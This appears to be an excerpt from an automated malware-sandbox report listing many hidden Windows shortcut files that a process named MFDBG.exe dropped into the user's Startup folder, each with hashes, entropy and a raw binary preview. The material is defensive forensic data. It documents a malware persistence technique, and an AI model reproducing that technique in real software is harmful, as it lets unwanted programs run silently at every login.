Preview:	L..................F...."...]W%.{...^z..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4aa9c81e5d84142b432bf9b01384f40.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:14 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.94326601237153
Encrypted:	false
SSDEEP:	24:8HphBfeczp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Je0R6rMhpBoUBxdRd1nYyg
MD5:	2BA84C9F10AF5FE8A0D7AA608DC349CF
SHA1:	92B5F0299858A8F1BB4A9E294EB4BFE761413317
SHA-256:	B41A7837288563359900E861EBD1565ECF0F29AAAFEA6BC288B912E0A1EB346F
SHA-512:	4C5F643C63E7333770472B02F4576C7189281BB4614FF50D8795B66A338D29F22C8753E2C8B4637BCD357677DE5F495DE82ABC8C9DAE975368E62440E894C50A
Malicious:	false
Preview:	L..................F...."...]W%.{...;Z..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...o ..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d4f1e28a86cd43abb942f5de328ec0ed.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:45 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937337328712323
Encrypted:	false
SSDEEP:	24:8QGhBfQl8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8QM30R6rMhpBoUBxdRd1nYyg
MD5:	48189B054FCC3B792D6124B6D60F7E21
SHA1:	1868CDBD1118A925293E02008D9696C386CA14A1
SHA-256:	3BA385A2A2B59C08F8E5222B3762B3C42F96BBF334F27ED1487865CF017D71EB
SHA-512:	69C0913AE0BE7F13B3275B45242C08EA825380925FC213A3D55DEA718D631DD290B742810C9E69BEE3B2C68100F3919F7E2F5203F3679E507365DDC2EF68C8FD
Malicious:	false
Preview:	L..................F...."...]W%.{...+.:.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....3.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5822b57c88c48f7bb07450f57992d5f.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:27 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.936305541420084
Encrypted:	false
SSDEEP:	24:8nPhBfi8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Tn0R6rMhpBoUBxdRd1nYyg
MD5:	4B9C25E6783A05B62591E334D9AB4FAD
SHA1:	6DD3BD2341EEFED1494B09C413D307AFC4A58748
SHA-256:	8461A7581F95034BA97364224B4806E4123919C1485614BE787490C1A5F1DE01
SHA-512:	7AC4763AA231875A8E1034554182F937E95C7CA7182340370D0BE7A6AEE1EB866B2FE1A6968F4EF8F8F91DDA4517EBDFAC14D172F88EFC2BE8334A0025C6CD87
Malicious:	false
Preview:	L..................F...."...]W%.{.....^.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...t.c.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d58c2f7caa77410d9888d463a35b45ee.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:39 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.937550170051693
Encrypted:	false
SSDEEP:	24:8VhBfV8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8FK0R6rMhpBoUBxdRd1nYyg
MD5:	713BA47740A82EE706C6EC6B6EA201FC
SHA1:	371EC576519F7EDFEBA20B9F766AF60BFC071DAF
SHA-256:	5D7C619D9AD3D7C0CBAB8868360B9604AB1399C6D4093FEF6FFED23739C73772
SHA-512:	CD01E04C7D797E9B81C694F3B6964995C9CE874A48F724293590544E114C8B01255CB2634F34CC81C9EC326D678C46505D2A3634EBA478A66A9A95D3D1B25B86
Malicious:	false
Preview:	L..................F...."...]W%.{....#B.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{....#B.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5d2c7dde9cd4444ba3b3bcd92c6dffa.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941071981538337
Encrypted:	false
SSDEEP:	24:8QhBfU8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8C50R6rMhpBoUBxdRd1nYyg
MD5:	0C75F9000EDBB89C67EEB4C7EEC8A860
SHA1:	AD4ACA594E3B1564327D78D65D392D772C6FB96C
SHA-256:	725C81D11F75106E3A15AA66E732BBD8BD420D659E65E1EA9D5BBAE087F001A6
SHA-512:	7FDD17772996F9CE895F908FFF4AF8D8A2580477DCB6FABE84CF835B5108B5670FCA6E3348A1B07746E20E956C6B9BC28D8BCF294B8A495C4DD72D1236FAEA51
Malicious:	false
Preview:	L..................F...."...]W%.{...Q.b.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d5e062a43dee4c1ba0efaa40c929e25d.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:26 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.944275040589791
Encrypted:	false
SSDEEP:	24:8YPhBfW8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8yD0R6rMhpBoUBxdRd1nYyg
MD5:	2C8841C5C51E4066EE1FF923510FC98D
SHA1:	867C89E95A7FDC892BA577B1925C8065DAB7DE2E
SHA-256:	B79C551A12C0EDC4D02FC12648FB07DCF21AF975DA6555865A3232C07F517A15
SHA-512:	60AE43415F8E1049E123E6493BC16AA644783ED2BA380CF37FC4277D0465CB1B1674488C721EE765CDA1EEE7E34455AF0C01E606D3D3B4F99DF71EC7009717BC
Malicious:	false
Preview:	L..................F...."...]W%.{...Z...{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d682292737b2404f98cb194cbf2d7a6c.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:47 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931932693127906
Encrypted:	false
SSDEEP:	24:8EhBfnD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8mo0R6rMhpBoUBxdRd1nYyg
MD5:	30191058833148E3E7854B7EDF5EF803
SHA1:	E858B5B7074B14B7BEFC2B568AFE51E2272FDC17
SHA-256:	CAAD9A750F55FA42C42A96C9CA069AB62A66D82C66BB9BD80856B58558B21EDD
SHA-512:	570BCDF367A5A627ADC70601E599152E248024C5D4D118EFF0BF633CB39366E34CEFD7E3BC3AE2A024EC12FC7E8A4AE91A7EBA5E2E9817B4FC1DCA39453C9C4D
Malicious:	false
Preview:	L..................F...."...]W%.{...~uI.{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...U.4.{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6abd362aa874bb3afcfb9932c44e746.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:15 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.941555951314744
Encrypted:	false
SSDEEP:	24:8jhBfNbD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Xlc0R6rMhpBoUBxdRd1nYyg
MD5:	99DE34066DA48E722A3EC51A09BFCB30
SHA1:	83A08A7D2BA6957BC73D74FA6F48E6AEE7C8805C
SHA-256:	EC42A96FB98BC104453382B01D8B560EC9ABCD5330B3B7F0DA62CCEFFA00A914
SHA-512:	6D51F3E5297700E8E5C163B726F1F60B65EBECFF3C3EE35D3C17EFFC3DB34F14A2152C90AF1AA7F02E1D7773DAD4729833755D8BA9B13BEA456639E975AF61DC
Malicious:	false
Preview:	L..................F...."...]W%.{....*..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6d3f705877a4d5dbdbe55f0078f6633.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:41 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931363126905163
Encrypted:	false
SSDEEP:	24:8dqphBfjqH8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8dqpLqc0R6rMhpBoUBxdRd1nYyg
MD5:	FA6CD6227F2CA9858E808BFC56AB19D6
SHA1:	80CA8974E1D6088991C474ACE4F234BAF340B49B
SHA-256:	0AC8A6CBEAF72AB1CC950B27EECC81F84B9F777EEFDE0AAD4CAAAC066C9BBA9F
SHA-512:	0BFAC5F5C0988870780F047D6452FA96A0F2BC14A80383DE79E122E689195DACDAD256CCBBFAD0F1093ACCAB26A28FB52718243B53C3CA69DB31FC539FB31F93
Malicious:	false
Preview:	L..................F...."...]W%.{.....F.\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.....F.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6e27dc19c764926a4c9533c2d1404eb.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:52:46 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.934191478089299
Encrypted:	false
SSDEEP:	24:83hBfG48iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8ra0R6rMhpBoUBxdRd1nYyg
MD5:	C58A5C5658418EC2F9586C7611940FD8
SHA1:	F91D4FE114D5A17A7993782A94AA31DA0D0CBADC
SHA-256:	2750A59C31C03E312704B045A015F61B4D9BFA429E4555BFF728441E5C416C7E
SHA-512:	2EE5DAB0BC33840D1FF0DB41363ED709A0367F1A3B8524A1AA56E1651D5B1E655E888819B785910C917EB780487F37881C5C0E67564B47793A6548F55D6BF259
Malicious:	false
Preview:	L..................F...."...]W%.{...,...\|...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...2.\|.\|.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d6fd2c316f6f44ed80569713b08a30b1.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:54 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.940564983584081
Encrypted:	false
SSDEEP:	24:83hBfUxp8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8rl0R6rMhpBoUBxdRd1nYyg
MD5:	C17ED0AB7F9DFFC74E13EE93C2D1CB5F
SHA1:	D8534364FA057ED4280E2A745F8031889B1BFD3C
SHA-256:	C2C8E788A14A29CE36ED17561767FB3B0163025518EBE8047F8E4D8D3FA46A4E
SHA-512:	2F9EBF6A1CF3AFE0A5CD5DE9BCA8C9C0D2E176C450579CE9CCD8FF8F7578AA8867293AA6D77923EBDD3DD481C4DA3732909E917D797A883B1DA6072165EBBD86
Malicious:	false
Preview:	L..................F...."...]W%.{...}z..{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{...h@..{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d749aa6443894771aed71c54dcdbfe12.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:51:49 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.931690530545604
Encrypted:	false
SSDEEP:	24:859hBfDD8iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:859rQ0R6rMhpBoUBxdRd1nYyg
MD5:	A401B35E6430BF6F4E0BDFE45CF84D22
SHA1:	0E763455A6A5EE7530FA52DD4CB6F4EBF582D371
SHA-256:	B0B093FDCEDD13E6CC4B904B1B67C44A4A602D27BE542DF984D86ACBAC706CDD
SHA-512:	E04EAC051A32D5B6704C8D017E33E48F95B9E86DEA2216B800D4C2E1D15B007797F859513CA298AD3991F5919119F9910308539185717143E656F1642F0402A9
Malicious:	false
Preview:	L..................F...."...]W%.{.......{...;...{....f........................:..DG..Yr?.D..U..k0.&...&...... M.....)...{.......{.......t...CFSF..1.....DWSl..AppData...t.Y^...H.g.3..(.....gVA.G..k...@......DWSl9Y......B.....................Bdg.A.p.p.D.a.t.a...B.P.1.....9Y....Local.<......DWSl9Y......V......................{..L.o.c.a.l.....N.1.....9Y@...Temp..:......DWSl9Y@.....\......................d..T.e.m.p.....V.1.....9Y@...Malewmf.@......9Y@.9Y@.............................M.a.l.e.w.m.f.....\.2..f..9Y@.".MFDBG.exe.D......9Y@.9Y@.............................!.M.F.D.B.G...e.x.e.......c...............-.......b..........._j.......C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe........\.....\.....\.....\.....\.....\.L.o.c.a.l.\.T.e.m.p.\.M.a.l.e.w.m.f.\.M.F.D.B.G...e.x.e.........\|....I.J.H..K..:...`.......X.......897506...........hT..CrF.f4... ..2=.b...,...W..hT..CrF.f4... ..2=.b...,...W..............1SPS.XF.L8C....&.m.q............/...S.-.1.-.5.-.2.1.-.2.2.4.6.1.2.

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MFDBG_d74dea811c4544e68702619f2f0e7192.lnk

Download File

Process:	C:\Users\user\AppData\Local\Temp\Malewmf\MFDBG.exe
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Hidden, Archive, ctime=Wed Sep 25 17:49:58 2024, mtime=Wed Sep 25 17:50:09 2024, atime=Wed Sep 25 17:49:58 2024, length=26112, window=hide
Category:	dropped
Size (bytes):	1135
Entropy (8bit):	4.930055759111315
Encrypted:	false
SSDEEP:	24:85hBf98iVR6lgKhvEhlDBoNRABVDi0RTp1A6LpLgUqygm:8Zi0R6rMhpBoUBxdRd1nYyg
MD5:	13EF32B066AC7D777B73412DAF95EB8E
SHA1:	3E15B8FEB99D15352040BA298A1950A8739986CE
SHA-256:	C2603E105A62234604CBB028E80044350F956D93E1E07357122A28941D41889E
SHA-512:	15CDE02A0260ABA55C0ACA97ECA8872EA3F2D9825A2D5ADC61D07B378299BDC06E2C049A6D5CADC378C2C14C12C56F3CFA53D082198F7A249781607E1E9C6916
Malicious:	false
